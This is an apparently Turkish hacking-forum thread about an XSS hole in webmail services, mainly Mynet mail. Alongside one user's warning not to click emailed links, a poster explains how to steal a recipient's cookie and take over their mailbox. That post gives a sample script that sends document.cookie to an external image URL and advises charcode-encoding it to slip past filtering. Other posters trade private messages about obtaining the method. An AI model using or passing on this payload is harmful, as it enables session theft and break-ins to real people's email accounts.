GolgeleR sana pm attım bi bakıcan mı Selamet dilimizde güller hep nickimizde biz gideriz cennete hey cennete By rene

:Daynen the one and only yaramaz.

hazır konu açılmışken bir uyarı yapayım :)bakın bu xss açığı yayılıyor sakın yutmayın, maillerde gelen linklere tıklamak yerine o linki kopyalayıp adres çubuğuna yapıştırın ve ordan açın.. Sonra mailim hacklendi diye ağlamayın a. q. 2-3 kez yazdım bunla ilgili şeyler millet takmıyor, sonra da nasıl yaptılar diye çene çalıyorlar... Uyanık olun biraz Bundan sonra sadece insan olanlarla muhattap olacağım.. Ona gre karşıma gelin...

güzel valla hoca :) işe yarar a. q. yahoo da var, hotmail de var gmail de bilmiyorum mynette de var iyi iyi :) Bundan sonra sadece insan olanlarla muhattap olacağım.. Ona gre karşıma gelin...

edit BAN

arkadşalar GolgeleR i sıkıştırmayın, syledim ona vermeyecek kimseye... Bu yntemin yayılması hem bu açığın kapanmasına hemde masum insaların canının yanmasına sebebiyet verecektir.. Bundan sonra sadece insan olanlarla muhattap olacağım.. Ona gre karşıma gelin...

Hotmaildede varda onu paylaşmak açığın kapanmasına sebebiyet verir :) Fakat syleyin kardeşlerim; insanlığın bir ereği eksikse, eksik değil midir- bizzat kendisi de?

Hekkaten güzel, denerim kendi mailimde ama zaten mynetin heryeri xss yiyo. Hotmailde de bulmak lasım onsuz olmuyor :P

mynet mailde html olarak taglarının çalışmasına izin verior buda başına çok güzel sonuçlar doğuruyor. Bu sayede karşıdakinin cookie'sini çalar ve proxy ile onun mail kutusuna girebilirsiniz. ancak charcode etmeniz gerekiyor encodesuzu yemiyor. http://www.paulschou.com/tools/xlate/buradan komutunuzu charcodelıyabilirsiniz. rnek kod:i=new/ /Image ;i. src='http://rneksite.com/fistandantilus/f. gif?'+document. cookiebu kodu kendinize gre düzenleyin ve encode'layın.-Alıntıdan yorumlanmıştır- Fakat syleyin kardeşlerim; insanlığın bir ereği eksikse, eksik değil midir- bizzat kendisi de?

Fistandantilus sana da pm attım o zaan :) Selamet dilimizde güller hep nickimizde biz gideriz cennete hey cennete By rene

pw diye birşey var ;) Hatalıysam... aramızda kalsın ;)